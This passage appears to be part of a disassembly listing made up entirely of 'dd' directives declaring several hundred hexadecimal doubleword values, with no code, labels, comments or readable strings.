		dd 0B9121DE9h, 28137C8h, 0DF6E5453h, 0F4BAE1FCh, 24EA801Ch
		dd 7BC2CEh, 68515AD3h, 6F604C3Ch, 0C58849DEh, 81E12D0Ch
		dd 3E5CEA04h, 0F2C278A7h, 805A03BAh, 499E09BDh,	8C3D5C2h
		dd 1DD8EE02h, 0DE5B7F31h, 86912C60h, 85F9D6E9h,	0F328EE38h
		dd 0B66A95F4h, 203B2E3Dh, 0D5F7281Dh, 0CDD280ABh, 141E613h
		dd 4BE7814Fh, 7C502F7Bh, 0C114D28Ah, 5CC3804Ah,	0F66D5B0Bh
		dd 0ABBD6B58h, 0E1B92651h, 58C53117h, 9E73D5E0h, 0A4054FF1h
		dd 9EF4B4B4h, 4A564040h, 83909C52h, 4150EA62h, 49559C7h
		dd 0CD60E668h, 0C144201h, 0E1F420FAh, 0E9F0219Eh, 93D5548Dh
		dd 4EC970F5h, 0AE1E46EBh, 0BA951ACBh, 0B0DCD9A8h, 0C64EF618h
		dd 0FD015617h, 4F08F410h, 0B65CF72Ch, 0AD4A6D65h, 0BA0B1E62h
		dd 6137B4ECh, 2BD425E9h, 0D4BA2422h, 12CEA8C6h,	57255E7h
		dd 0F7BECDBEh, 0B707BFDh, 2D39149Fh, 1EBB061Ah,	49020C22h
		dd 0E3252933h, 0B42A912h, 0CF89F582h, 6A2288E1h, 15CD940h
		dd 6817766h, 0C97F68F2h, 300B0C40h, 937AF7Eh, 88DDE594h
		dd 1425BCFFh, 0C85C4ED8h, 7C45A851h, 0E913D932h, 0CCEAC490h
		dd 1C2C2DC6h, 5019461h,	60D4528Dh, 3F5E24E8h, 0B2805726h
		dd 0E94F8713h, 18021C0h, 0BE92EEF7h, 2D19A6DAh,	0D2F69200h
		dd 0BB70B450h, 0C934E27Ch, 35AA6EB5h, 8582D32h,	145B8706h
		dd 55E04535h, 0C0149853h, 2AC8B9BBh, 0A8A91AD4h, 6F8A621Dh
		dd 1838E9F6h, 0B033661h, 0F901153Eh, 64998700h,	250237F4h
		dd 6F6843A7h, 4BADE048h, 12220B3Dh, 965C129h, 0D901880Bh
		dd 5FB06EDEh, 9E16B28Bh, 0CE318C12h, 680573B2h,	67B5357Dh
		dd 48F0CFC2h, 1490BAD0h, 854E7572h, 980D3C03h, 0C1884A50h
		dd 16C006E2h, 4CB0865Ch, 60D35929h, 3947E90Ch, 44EC777h
		dd 0E5E5F637h, 0EB219752h, 0E204B347h, 0E50125B3h, 0D506A7B3h
		dd 2CED0631h, 6AB3D79Ah, 0C9B25F13h, 34293130h,	0EB5CD1B2h
		dd 8D1A0144h, 0DF892B08h, 697D0060h, 6D08754Eh,	851CC5h
		dd 6E253D0Ah, 658283Ah,	0F82D0EE2h, 2AFBADFFh, 1316623Bh
		dd 0B03A367Ch, 6E687F20h, 0AC349D52h, 715DE917h, 405913DCh
		dd 0C70681DEh, 0FB2BB299h, 0EB4995B4h, 0DEE2E201h, 4EA5BED0h
		dd 1EAAC4A5h, 846C6DEBh, 0D5FAE952h, 0A2C8560Ch, 41D8D28Bh
		dd 8EC86285h, 0C101B1BAh, 3CE002E0h, 17C6BA3Dh,	0A55FC368h
		dd 2E292C54h, 9E46D2C8h, 85681539h, 27787208h, 0CE9E3409h
		dd 6FA50095h, 0FC42C341h, 0D6B68F7h, 0A2CA16E2h, 13059311h
		dd 8629E039h, 0C0A46A6Ch, 100DCAD7h, 81590300h,	95226FF1h
		dd 9749505Dh, 453F049Fh, 80EEC162h, 3B5EF66Ah, 295F0C13h
		dd 0EC50A8E6h, 53E92F59h, 645F8287h, 4CA9B80Fh,	25BBDE28h
		dd 0C13DC870h, 0F3A0A0EAh, 0BAA92FBh, 5A8240C6h, 24018706h
		dd 8CE28139h, 0C0D7D10h, 0CE393F64h, 8B5528h, 5B3122A3h
		dd 0D7ED50BDh, 2C53F658h, 3E0F545Fh, 0C440AB43h, 6F961311h
		dd 15A90B6Eh, 1B9716F8h, 48AFDA68h, 97595D08h, 129E184h
		dd 5105EFC1h, 3B317284h, 14A09256h, 4B25A664h, 0F3C6C8F6h
		dd 0E5C49517h, 0C1016624h, 1B09E42h, 6B0FE068h,	13673B30h
		dd 0E9190B12h, 9AE2FDh,	0FB802F54h, 4D7F172Fh, 8FCD0481h
		dd 0C2349B6Eh, 0DB7069B1h, 0E233B397h, 8037CACFh, 0B8212C93h
		dd 6D0CC107h, 7CF93813h, 1E9E061h, 99A5B63Eh, 6E6906B2h
		dd 87248740h, 2ACC361h,	50665152h, 0EFE3A7B0h, 0CDFE58B0h
		dd 40EE85A1h, 403E3B3Ch, 2B31345Eh, 9F2CC6E9h, 5051AD00h
		dd 3455F268h, 0A494D5Eh, 0F7FBC061h, 2CE98D0h, 16673501h
		dd 0F8D85102h, 8CA9009Dh, 30E9233Fh, 5CB23C96h,	0CBBA4C29h
		dd 308B8855h, 0AB25685Bh, 9BD66679h, 49060362h,	0C01193Dh
		dd 532E30A0h, 95FBEA01h, 8FE90805h, 0C1649692h,	297E02D5h
		dd 68E6CCAAh, 0C6119C25h, 0A8605CEh, 0C047637Eh, 0EA27B81Dh
		dd 6EE92D0Bh, 5CE42432h, 7C01F6B0h, 0CA14DC1h, 5FBEBB03h
		dd 0D4D1ACF7h, 0F18850EDh, 7A4CFA68h, 90B4A58Fh, 0C432B554h
		dd 6F9CDA40h, 55010CE6h, 479066BDh, 0F57801F3h,	0C6CFDC4Ah
		dd 0B85CA612h, 97EE3300h, 7C7D3523h, 81CD029h, 2D141C68h
		dd 3DE9E168h, 0B432274Ch, 6FB164D1h, 0F4556534h, 0F331F9C5h
		dd 0F9FF3D6Bh, 801B6403h
		dd 2833C107h, 0F00559C8h, 561D4EC2h, 19D62D5h, 0A4FB956h
		dd 0C18EA06Dh, 0FA02B2EDh, 63DB59E4h, 91EAC800h, 80DA50C9h
		dd 588E9C5Dh, 555BCE68h, 731328Ch, 874F114Ah, 0B1AC12E9h
		dd 0C26C6C54h, 0EDB09750h, 0D883F44Ch, 948A7CFh, 0DFF718EBh
		dd 820E0100h, 31268965h, 61631D7h, 5E588F80h, 1C4F2809h
		dd 0E983404Bh, 4FAE8430h, 3D7916EAh, 35A751A1h,	4A2D3000h
		dd 7A7AAD22h, 2BCD4530h, 2E1CC8C9h, 0A860FAh, 0BFA32A0Dh
		dd 0EEC1CF09h, 0A9861EEFh, 4BF829D0h, 0E9F7915Fh, 4B256CD9h
		dd 0DAF7B331h, 0D5E8E20h, 89D611A7h, 3D136FBAh,	24791101h
		dd 7F6C298Eh, 4947A661h, 0C2D2E364h, 80F4142h, 58DF323Eh
		dd 214AFBAAh, 0C02588FBh, 88B7C681h, 0EBC05AF5h, 0D7595866h
		dd 6141423Ah, 981840A4h, 712FEA03h, 31C3415Ah, 5C0D06B1h
		dd 10BB3221h, 4114ADE3h, 82189381h, 59CDC8A5h, 526C2925h
		dd 8337400Ah, 4910EF64h, 0B74047A8h, 68454901h,	14ADD84h
		dd 5B66FE08h, 0F9CB842Eh, 0C0A907BBh, 0CCE005E4h, 0E6E0C480h
		dd 881A0FECh, 0C22658E2h, 0CFDB88B4h, 0E363C0CAh, 0B2E7985Ch
		dd 98D3E08Eh, 666B1DBEh, 7BC34F5Ah, 0A89786EAh,	3D76FE6Ch
		dd 2EAC613Fh, 7C018C2Bh, 20BA5FCCh, 7B353D0Bh, 4A402F02h
		dd 0E9860A2Ch, 1FD5572Ah, 0ED6B68E5h, 6AB0EC65h, 8D36559h
		dd 0C909E910h, 9309DC20h, 8567662Eh, 0F6105D96h, 870B41FEh
		dd 26162D0Ch, 0E2C15820h, 6CAF405h, 59D245C9h, 0EF60E42h
		dd 0E927EF04h, 0EDB82831h, 358DE2E7h, 0D06B9554h, 0D36E49E6h
		dd 0AA22FA81h, 1B782044h, 1DCB5B16h, 2E580FB0h,	0BF4F51C3h
		dd 2A931CF3h, 1110BF91h, 0CA2118FCh, 1FDCF21Ch,	8969799Bh
		dd 1F543238h, 58746BEFh, 0A0B47892h, 3FF603F2h,	5EFEFED4h
		dd 0BBAC001Dh, 87774BCh, 0BD4E8CF4h, 7BFB2A4h, 0E180C9FEh
		dd 83073BA9h, 60736C0h,	0B4120367h, 0DE84CB05h,	2528916h
		dd 1E166B5Dh, 2851CA20h, 2C5B7BD9h, 0C7363D29h,	79ED1302h
		dd 705FF9C1h, 2E0BAD6Dh, 0C2296B4Ch, 3A1655D8h,	47940684h
		dd 0E2B8DBC5h, 4B16D69Dh, 0A08258CBh, 0CD54681Eh, 547A1490h
		dd 0B854473Fh, 0F6C92F85h, 4026D4A0h, 2925E810h, 0FD1C1AF7h
		dd 5626E00Ch, 11125C92h, 52043A62h, 0D5B8C97Ch,	20416882h
		dd 0CFFCFF6Ch, 0F2C161C0h, 0BF64C010h, 3708A028h, 146BB01Ch
		dd 514A5835h, 9E308599h, 8240BE11h, 1B73656Dh, 3A5D5369h
		dd 7A5C2A8Ch, 0FB299AD3h, 4609B116h, 5A076976h,	4C202452h
		dd 1EF06BA6h, 9816A95Ah, 9F4C2BCBh, 252E5E10h, 9AC68029h
		dd 5F639D31h, 0C26D45Dh, 0BB3144C8h, 0D472E10Bh, 0F322C055h
		dd 4A660491h, 0B826E97Dh, 2F050323h, 0D354AB2Eh, 8C8FD81h
		dd 79DE1656h, 95881CCh,	0D20572EAh, 0A0D8FA16h,	737C131Ah
		dd 0EF27F067h, 0F54A3009h, 0D68D4217h, 284F0B43h, 0EB211E68h
		dd 0E29810B6h, 9630E606h, 69FB08F0h, 2521B807h,	8EF110C5h
		dd 9E0A7F60h, 1B7D82CEh, 8C41BFFDh, 0BD9D2A06h,	875DE895h
		dd 495FE942h, 0DD09E88h, 47113164h, 0B23A1BECh,	0C04F624Ch
		dd 397CBADCh, 0FD371F24h, 931E50Fh, 0E609D548h,	89BD83EEh
		dd 18ACD8F6h, 60C852E9h, 7D03F068h, 5587882h, 8771AF14h
		dd 0F348C701h, 0F3E98083h, 0D193414Ah, 1780C130h, 2FEA6803h
		dd 0AC906466h, 81132395h, 0D4D60544h, 890BC107h, 22A5F355h
		dd 19615D0Ch, 41F33CB1h, 182040A5h, 3976E270h, 0D9AD60F1h
		dd 54684712h, 0A93353F4h, 65285E8Ah, 0ABA8F4A7h, 0E2E61E12h
		dd 872A1F15h, 0AD2DD813h, 5A052705h, 25CC900Fh,	8CE613C8h
		dd 0BC7EAC09h, 0C1A8F44h, 5BDF4147h, 137CC85Bh,	8A3AA4Ah
		dd 3212573Dh, 9188A44Dh, 0FF88525Ah, 0BA310090h, 1A685155h
		dd 264D1238h, 0D189D3h,	746EF178h, 8942043Eh, 0BC59204Fh
		dd 968A0C2h, 368F3F62h,	6705AAC8h, 77A2741h, 612A78A0h
		dd 0DEC14B5Fh, 2B0C36F8h, 20191E0Eh, 0B3EF0BBEh, 0DAEA31E4h
		dd 4042DC12h, 0CE5970C2h, 0E93D932Ch, 102D897Bh, 1E95C38Ah
		dd 0CB3C105Ah, 79056E1h, 0F23D6518h, 72AD67h, 0C0D5F636h
		dd 800639EDh, 0F59C7CB9h, 59EC00E2h, 0E6E9E108h, 0EA57F160h
		dd 4AE57B33h, 5AEEA239h, 4BF6BD28h, 687890F9h, 599973FCh
		dd 525B5480h, 40ABEBAh,	62E972C9h, 0FE589105h, 0E15544Eh
		dd 8DA0109Bh, 0EE83E93Bh, 0C23C93BFh, 97FFD817h, 989E708h
		dd 3D9CB1Ch, 90BB0F8Bh,	80A910D3h, 51FFDE68h, 89CD1C96h
		dd 7E5C5815h, 0C8CB6F38h, 0F884FFC3h, 537B25F2h, 5228B1F1h
		dd 0CAFEFCB2h, 0BA8C8BBFh, 582754DEh, 2A961769h, 63E95C45h
		dd 4B26A292h, 50BBABC1h, 0DF405A02h, 0E8132E7Ch, 0FA084D30h
		dd 0C38309B1h, 68470A5Ch, 4109C4BBh, 0F07820BBh, 219DD0DCh
		dd 77DDE86Fh, 0E12BC46Fh, 0C18EECB0h, 9DE6491h,	3906BA45h
		dd 138008E6h, 6816374h,	33D347FAh, 0F503889Ch, 0F3E318DAh
		dd 0D20E0145h, 0E91A776Bh, 0B34F34F8h, 0DE304007h, 53225B66h
		dd 8A5DC0B7h, 0A4D482FAh, 0EBB55180h, 2659EE88h, 156FD6F6h
		dd 4F77D3ABh, 134DDA0Ah, 20242013h, 4AB201AEh, 403B6D68h
		dd 64180980h, 3E507124h, 90355300h, 26E2C10Fh, 0D24203h
		dd 60C62BEFh, 8CB789E9h, 16612AFBh, 0C27A2C3Ah,	0D1B9581Fh
		dd 0D98A2AF9h, 84A46817h, 898EBDB2h, 0DC314A59h, 0D3E9040Fh
		dd 0AD77ABA9h, 76B78DB3h, 5955F7Fh, 81C221E9h, 53C9061h
		dd 0BE484FE9h, 510E8949h, 0EF4CE588h, 849D905Ah, 2CEE537Ch
		dd 0C9ABB8C6h, 0F0EDE03Ch, 0F7F2DAA1h, 2010D27h, 0AF69D1Fh
		dd 0C61888AFh, 7ECC8809h, 66E10024h, 5AC18058h,	0CBF506CFh
		dd 1620C5CAh, 38C481C0h, 0C1273B0Eh, 6CD27984h,	69D5F65Bh
		dd 0DE07B5D6h, 0C626F031h, 68560B08h, 0EC666B4Ah, 0ED058C03h
		dd 168DBE5Dh, 21D6290Bh, 0BBBA1AD3h, 9EA16BDh, 674CCA5Dh
		dd 92258C6Eh, 575D3560h, 89091EAh, 0C6D282E6h, 42F02848h
		dd 0E43BCA3Fh, 39064BD2h, 50E46225h, 0E036D3Dh,	814E20A9h
		dd 54890EEh, 0A252484Dh, 171B4C00h, 0B46E90Ch, 0CB77ABB2h
		dd 0CE2D3425h, 8A4CC155h, 60255A26h, 0A1D010Ch,	0F3013A23h
		dd 0E186E950h, 5A4EB304h, 25E928CCh, 0AB71FDB5h, 2F14E6CBh
		dd 0D8C242E9h, 0C427BD5Ch, 5E78A057h, 28842F1Dh, 0F0EFE760h
		dd 977F6913h, 0D45F510Ch, 9952021Eh, 5DEA3163h,	0E7A6960h
		dd 0B149C524h, 93E90703h, 98616B61h, 0B43F3473h, 0D2E8C9FAh
		dd 0ACBD850h, 296E1817h, 85039A0h, 0B4DB4EE9h, 8F13F385h
		dd 4804800Ch, 0A68BFC84h, 0D0136C12h, 0D8287F6Dh, 0D895664Eh
		dd 637B3AF1h, 0BFFCDA39h, 1EE96D31h, 0B11E073Ah, 2B21728Ah
		dd 3E0100C9h, 4A8274C5h, 37841A60h, 0C5F4FC46h,	7F9D55CAh
		dd 99EA6560h, 41ED12BEh, 4241BF03h, 0C1D34019h,	0C3620E33h
		dd 522C1250h, 4A0B317Ch, 303A2B2Dh, 0F702818Ah,	0A2204CC1h
		dd 21965729h, 0F831E7A8h, 0CFB10EAEh, 0D7F45364h, 21A0B50Bh
		dd 6A6471BBh, 0A7BA6550h, 0C690DEEh, 0B0A558BAh, 61960350h
		dd 0C3018B53h, 3FE9FB08h, 7E39246h, 17253465h, 54DFD273h
		dd 3BD99D9h, 8143F064h,	0F12688E5h, 2672B029h, 0BAAA5382h
		dd 71C554ADh, 19A76A24h, 602801F4h, 0BD0A345Bh,	123A1023h
		dd 0CF015B0Fh, 60D84509h, 801EE098h, 0AA8D6BF2h, 75691415h
		dd 0CA5B4194h, 8945580Bh, 283D405Eh, 0B3594BCBh, 0A10B5CEEh
		dd 347A5450h, 4C3DAE46h
		dd 2414BEA8h, 25A62B5h,	0D839E95Fh, 97BDBAFBh, 0C33DB7C5h
		dd 725FDD00h, 68790974h, 6AE63680h, 0B3731ACFh,	17223F12h
		dd 0A28B55DBh, 4598F3ECh, 90257120h, 1AE99F00h,	86E9395Bh
		dd 9D8AA45Eh, 2E81DACCh, 15072F39h, 9B74F521h, 806149A1h
		dd 0DAC4ECF9h, 0CD892C43h, 0EDD15820h, 627EC8F1h, 1332F824h
		dd 77758B3Fh, 16C5637Bh, 4570706h, 0BA311A54h, 122A0469h
		dd 0D269A3C7h, 0E9831401h, 3A74D1A1h, 0D29BABF8h, 965178E4h
		dd 59064299h, 0AEF35607h, 0F71E0AA7h, 0C9953DAh, 2345F110h
		dd 3CBD0B53h, 724D995Fh, 0ACA9757h, 2ED50331h, 0C4E7F07h
		dd 975A9BE4h, 3D962594h, 10D22989h, 3F2261D1h, 0D92D4AE7h
		dd 0BD109F51h, 8BE0D317h, 85D35F84h, 0A273DF9Dh, 45B112C7h
		dd 0B0D3F81Fh, 0BF257778h, 7E6302AEh, 0EAF4963Fh, 4061019h
		dd 0AF0CFF1h, 4E114C2Bh, 7B8A7A05h, 8396CCFFh, 78C19A83h
		dd 0D5999D7Eh, 688750B1h, 8AB607AFh, 0CAA91E65h, 0B155C513h
		dd 0AC8BEC2Dh, 4F4216D8h, 0B40CF01Ch, 8CA5BF43h, 357CFC42h
		dd 0C82DA9E8h, 54C0E933h, 0C3D7DDE7h, 4E2A88BEh, 1277888Dh
		dd 1201102h, 532D9EE9h,	0A52B4340h, 9BF4802h, 0E01FBA4Ch
		dd 5596EB0h, 0FBE94BFDh, 68C58CD5h, 0B36A102Bh,	237353A5h
		dd 9D511290h, 5B142223h, 0D4435892h, 1A5D7273h,	6786C174h
		dd 37E6325h, 2668F164h,	0C54CBCB4h, 8BB93C14h, 443E4C84h
		dd 210B30F7h, 50DFD0Fh,	0FDDDF11Bh, 19942BF8h, 61AF9784h
		dd 3FAD31h, 9B6F6668h, 54F202FEh, 63405AD5h, 4E5C6580h
		dd 0A1F30101h, 29748318h, 0D53B5C8Bh, 294A1192h, 47D28863h
		dd 0B2001346h, 6E2C0BEh, 3080DAF6h, 31011C2h, 6BF5E7E9h
		dd 68452592h, 7E095D11h, 0E33730F3h, 0C00BB31Ch, 0E808EB27h
		dd 0C41FBC83h, 1E5F8BB7h, 9544E97h, 7DF4048Ah, 14800DBAh
		dd 83F613Ch, 14B9E97Fh,	760BE00h, 30895606h, 3265EF7h
		dd 0A6B94148h, 0C882C701h, 0A42D5A57h, 0D920C500h, 1DE9429Dh
		dd 0E7EB5054h, 54730E09h, 8B3076Ch, 0C7F162E5h,	83375336h
		dd 0B877E50Ch, 624F3007h, 41613FA0h, 17C92E92h,	17C4816Ch
		dd 54580937h, 8AEC2017h, 0A5ADC089h, 0FAFAAA0Ch, 0D9949DEBh
		dd 0B7902F92h, 58617F1Fh, 3E9C104h, 0F3D56980h,	26FF7874h
		dd 0ADFA4226h, 0CF969E72h, 2DA14188h, 8A3A3161h, 59F9890Fh
		dd 0BE4F933Dh, 2D04C048h, 0E9103694h, 281252CCh, 7B33A3D0h
		dd 6A5B224h, 0D7830813h, 5E018CD0h, 230D2568h, 0CAE64E23h
		dd 3A9C9B07h, 0C65BEB20h, 7C01EE28h, 29320662h,	6A85AD0h
		dd 0E90B800Ah, 4E5A9A5Dh, 0C9D23459h, 0F8C741ABh, 0EB8100D1h
		dd 693424EDh, 83F30126h, 0F0398602h, 0E13B4CBh,	56052FFBh
		dd 0D54940E2h, 0D9A89389h, 46A6DD93h, 3E243E44h, 1ACFE2DFh
		dd 1C472723h, 0C7D8291Dh, 71709705h, 0BE33302Dh, 58B99392h
		dd 0C18B7609h, 183D31CCh, 0BB176A4Ch, 16DA9560h, 0A4B19500h
		dd 1149E949h, 0BA815FF4h, 0C83F5966h, 82A08D2Ch, 3FF91D68h
		dd 0D23E6231h, 4BB3CA2Bh, 0F15F8E3h, 4C9EFEE7h,	0BB12A028h
		dd 0C31940EBh, 0E801707Fh, 68FB0160h, 8D3A6D72h, 0D00C78C7h
		dd 26DFC430h, 6D1EB1E9h, 0F7B44D29h, 13D4DA60h,	0D2719F02h
		dd 443B6102h, 855804D2h, 7FE7B68Ah, 0D2223125h,	873955ACh
		dd 0F102006Eh, 2136C9Bh, 6A27F8EDh, 526EFA0Eh, 5850E957h
		dd 0E5880108h, 86D3F658h, 12943CDDh, 13C38084h,	0AFC5ABFDh
		dd 0E5C05BC0h, 0C810C003h, 0EB2C1704h, 0D2EDE8E0h, 2B6A84E0h
		dd 2748E697h, 5A71F536h, 237EB800h, 0BC314311h,	55965129h
		dd 14866588h, 7B1502F1h, 1E76D79Fh, 0E57242BDh,	4F442FE0h
		dd 99405981h, 5A1F06BEh, 0C6B4827Fh, 0FB760889h, 0F4CEC96Fh
		dd 34FB710Ah, 0F1935E70h, 76C0DEBDh, 2569B72Dh,	0C32E6E39h
		dd 1127A6ABh, 0B71273FEh, 386AA700h, 8D89E34Dh,	304206C7h
		dd 5AED580Ch, 0ADDADEFDh, 6CE532B0h, 66648120h,	0F2F00289h
		dd 836929Eh, 7CDE1E2Ch,	4E7F0C02h, 58D24023h, 760E3E27h
		dd 408CE33Ah, 802479B3h, 424B6F12h, 0F06EA1Fh, 0B181085h
		dd 0B2BB0DF6h, 0D05EC3CAh, 0EBE02997h, 31A5BE9h, 68595477h
		dd 80A270AAh, 440FC9BAh, 71EE5DBFh, 50EAB0FBh, 3D068E8Fh
		dd 0D2FD6590h, 748E19DDh, 0CD9F902Ch, 441E1813h, 7D5DA3D3h
		dd 0A022F427h, 0EB80027Dh, 4A06CEF7h, 97E9C302h, 46FAA56h
		dd 3DDC1CD2h, 71715DC7h, 3A7DD1D3h, 8B7A2C3Eh, 0C527005Ch
		dd 13FD22B5h, 0B0EAE94Eh, 0A909BF60h, 0F673CC2Ah, 0E8471257h
		dd 0F7BEC094h, 756A668Dh, 8D14BF31h, 3D2575Dh, 43390A23h
		dd 81EDFA5Dh, 0D5F75F07h, 886B3B71h, 320FC599h,	4D61F14Eh
		dd 8002EDDh, 0BACC40E9h, 50D600F0h, 92B849CFh, 0FDE580A4h
		dd 3EC86216h, 0F22C7EC7h, 8F39123Dh, 8015D17Dh,	475BA6C2h
		dd 0EAC1007Ch, 0F9B85008h, 2C3F1272h, 0E358A531h, 1DC7F086h
		dd 437688h, 32A3BF2h, 5AD72983h, 281B5EC2h, 6F4FE1FCh
		dd 31047F28h, 0F04E5FFEh, 0DC3F0DD6h, 29EE9668h, 85E55D89h
		dd 0DD5B572Ch, 17346C5Ah, 27D1F6ECh, 1B710831h,	0EA4E340h
		dd 4E750979h, 0E400D6F7h, 34B310A2h, 0CBE849B5h, 400E0B30h
		dd 0E05D68A4h, 0DD4B7A9Ah, 40F102D2h, 1D1BC9B7h, 0BF693033h
		dd 0B10B3B85h, 0FBC1003Eh, 31D376D7h, 255DD97Dh, 0B7B2073Fh
		dd 0C094DA30h, 0D0B2C195h, 1084B525h, 0CCB1C0B1h, 0EC3E8059h
		dd 8B43AD93h, 0B5A9BC6Fh, 0A7FDFFC0h, 0D22A5D81h, 0CC805284h
		dd 1EDF4E5Ch, 2D0C5698h, 0B47EF81Bh, 18CC01B5h,	59C83160h
		dd 1BDB4489h, 677034A0h, 1DA12D00h, 0E6E90604h,	5AEBB7C5h
		dd 625A02BAh, 3219C307h, 73B20CCDh, 0EA8302BBh,	52A912D5h
		dd 8BBAFE7Ch, 1BB8E1B3h, 8BBF5B7Ah, 13517B69h, 0F9F02106h
		dd 0AE916B5Fh, 934B4E7h, 356A16FDh, 5FE0A71h, 0A9A62E07h
		dd 0B3D3499Ch, 1610688Eh, 5C2E2862h, 5DE88144h,	0EC07E0C1h
		dd 939CEAA2h, 50D3044Fh, 0BC9D72FCh, 8DE65B93h,	560F24A4h
		dd 307F6804h, 0FE1710h,	1F01A226h, 49B7E954h, 2FF0BB58h
		dd 295D0985h, 3CC25BDFh, 736B8A81h, 0FAE1E3B8h,	8606AC5Fh
		dd 0F9328A09h, 93201295h, 0A49D0A37h, 4D00A95Ch, 4E05688Dh
		dd 79E10Eh, 9C349735h, 73E82538h, 0BC6AC53Fh, 68F401F7h
		dd 0AFBCE948h, 0A9BA40A5h, 4C25C5F3h, 31FB4EF1h, 0A7C9E97Fh
		dd 15D9A9Dh, 4F5968A4h,	48C57D38h, 52C6992Eh, 0D7707680h
		dd 2EDC8839h, 832562EBh, 101CF777h, 589B96E9h, 6479706Bh
		dd 13A17132h, 2DFAE805h, 72705897h, 0ACD5FA34h,	8442B2D9h
		dd 5ABA179Bh, 0FA625902h, 2081C00Eh, 0F86C8579h, 26D33AA0h
		dd 0FBA143A8h, 9903EBEh, 0E3D3F23h, 59CA3169h, 8BE9D162h
		dd 2A418F4Ah, 5603E0F9h, 0AC3C28B3h, 0DFA8F179h, 38F64BBAh
		dd 0C58C89B2h, 0BBB90684h, 0F46063A5h, 8FFE4CAEh, 0D1D7029Ah
		dd 5025D58Ah, 73203396h, 6C294C4Ch, 0F31D9948h,	133F983Bh
		dd 6230E949h, 685252C2h, 8E261E95h, 0B3D4CB30h,	35DA4BEBh
		dd 39892DF9h, 822E5936h, 0C708A6B0h, 8B558092h,	0E4327941h
		dd 805C0087h, 720486C7h, 54D7451h, 0E9F8280Ch, 0F75F935Eh
		dd 37B868B0h, 7FF3B89Fh, 1329929Ah, 0B18A5AF4h,	8564DDF7h
		dd 0D7F65808h, 1B7B3C2h, 3FCD8955h, 7DE85D84h, 8469251Dh
		dd 0FED7F71Eh, 6682EE35h, 0C5A4D70Bh, 35E69482h, 0E996636Bh
		dd 0A556CAF2h, 289846Ah
		dd 0C9DB2ED4h, 21796051h, 28BB0D3h, 0A223F9CBh,	5A74435Ch
		dd 5DD40580h, 0C012E9A3h, 4D092DDBh, 0E9C2015h,	2278696Bh
		dd 8880063Ah, 3E9D9CE6h, 0F6459567h, 6B9C5C1Fh,	822CF00Eh
		dd 0F9478EE9h, 855E930Dh, 96C1B63Ah, 0B5B49FFCh, 51DD0418h
		dd 56DF1A97h, 0EB35210Dh, 4E63E05Dh, 2020EE97h,	5E760632h
		dd 7DA3912Ch, 193715BEh, 0B3C45FCAh, 4C211881h,	934526Fh
		dd 0A279991Ch, 30EB688Ah, 0E69FD220h, 22B9BE19h, 584EB5D0h
		dd 2FA1D9A8h, 0C16F2795h, 8150A5C0h, 182D09E6h,	0FF802807h
		dd 0FAEB4B48h, 5EF72912h, 77521000h, 7A5313C7h,	0F9FC41E9h
		dd 0B27260DEh, 38F68080h, 81DA2C5Ch, 8FCC8BE7h,	9CEC219h
		dd 64EA61F1h, 2B6EA8Fh,	0FDF4F049h, 0A72A7520h,	1799AD40h
		dd 2298F30Dh, 21DF286Eh, 2FE9C816h, 4EDE8F93h, 3E3FF32Bh
		dd 4B2B175Ch, 7CA128B9h, 0F58100C7h, 0D62839ADh, 0BA56AC64h
		dd 241C829h, 0C658F973h, 63CEB055h, 0BDFB855Eh,	52E6D100h
		dd 984F9ABAh, 4A420126h, 6782CA81h, 0EAB8409Bh,	76EC6F96h
		dd 5AD60116h, 988DDB8Dh, 0FB69AEFBh, 0B0E1FC82h, 6A26F12Ch
		dd 9DEDA413h, 0E8335579h, 5961213Bh, 1C257A98h,	0A160D904h
		dd 573B6802h, 7E8E5F9h,	1EA7EE24h, 0BD552508h, 62EE5F11h
		dd 94CDD658h, 1534347Bh, 0B202C2ACh, 7E2C0FBh, 0F0116DFh
		dd 0CA28B3B1h, 0F505909h, 0E95AC205h, 47641330h, 0E9C265ECh
		dd 185F024Bh, 48665C26h, 0CD852609h, 6D359997h,	484614D5h
		dd 35879DF7h, 0EFB26713h, 0F9A39AA2h, 3C6841D6h, 618C3B1Fh
		dd 0A7992FE9h, 8D002FDAh, 41FB050h, 0FE400C94h,	25AC9689h
		dd 89F21909h, 6E673402h, 892D5850h, 0A57C7406h,	1F226DCCh
		dd 0FA909F60h, 0A32754CEh, 65C87133h, 50F12C3h,	0EF57B940h
		dd 0E2BA6831h, 92103964h, 39514AAFh, 7B1C31DBh,	0E1BA4990h
		dd 5C602D1Eh, 1405BC00h, 72575135h, 0D8290541h,	0FC8DE9h
		dd 33FF580Ch, 3C1FF2F5h, 3DD6768Ah, 7792CA5Fh, 96FB7004h
		dd 7DDE49E8h, 0BD02C6C9h, 3E9E773Bh, 366DD640h,	0F75DE60Fh
		dd 85CD00DDh, 0C04B8717h, 0BAF6A91Ch, 0EA5E29C6h, 4BC30824h
		dd 735DD19Dh, 0FD5BDAF4h, 0C95143E5h, 0CB2058C2h, 0E0D21703h
		dd 0C4F4F398h, 0E3C829CFh, 83B8401Ch, 73C8EF5Ch, 0E7D10416h
		dd 0B425BA09h, 48D3483Ah, 4DA00D89h, 0B31E6F2Dh, 88BA4058h
		dd 451B090Ch, 0F282BC5Ch, 88E50DE8h, 582FBCFFh,	58082417h
		dd 0E43B098Dh, 0BF45CD7Ch, 4C29FF88h, 0AC2581FEh, 1E7B5548h
		dd 0E024332Fh, 5C5C30Ch, 0E968EC71h, 0EE78E4E3h, 7F7B1E02h
		dd 0C3D6F718h, 77F577CEh, 16DA5AD5h, 68C88D96h,	50BE7CA8h
		dd 7BF3EF3Bh, 4243E9F5h, 14BD83Ah, 87EEE097h, 5954804Fh
		dd 5D092F90h, 583ABF68h, 2D3D407Bh, 9C1A6B16h, 0D45039ADh
		dd 0D1670226h, 55B3E94Eh, 564D3975h, 80C62520h,	5B4BDF31h
		dd 281F710Fh, 50D78354h, 0C093204h, 0FD824CF5h,	0C80B2384h
		dd 0D61D3D32h, 16BE1C32h, 0B6823621h, 99142F1h,	1FF68408h
		dd 0FC4C2904h, 790CDEE2h, 5F028A9Ch, 0E2959CA9h, 0C7693B60h
		dd 4BDA7D06h, 9CE9C487h, 8BB5A369h, 0A078EC83h,	8014125Eh
		dd 629DE528h, 7D0E7FD1h, 0DA8BD54Eh, 0CC805E78h, 1BA0215Ch
		dd 508005D0h, 25EC7E88h, 1C51A1D8h, 67685C02h, 49C8F146h
		dd 6526AAF0h, 0B4604118h, 9B753CFh, 99C7E979h, 61263F71h
		dd 2EC09508h, 2C3F58E2h, 97AF6C82h, 0EBE6836Ch,	89C8DABCh
		dd 0EF500AAEh, 33578902h, 0B69C4BEDh, 0A92559E9h, 0D434593Bh
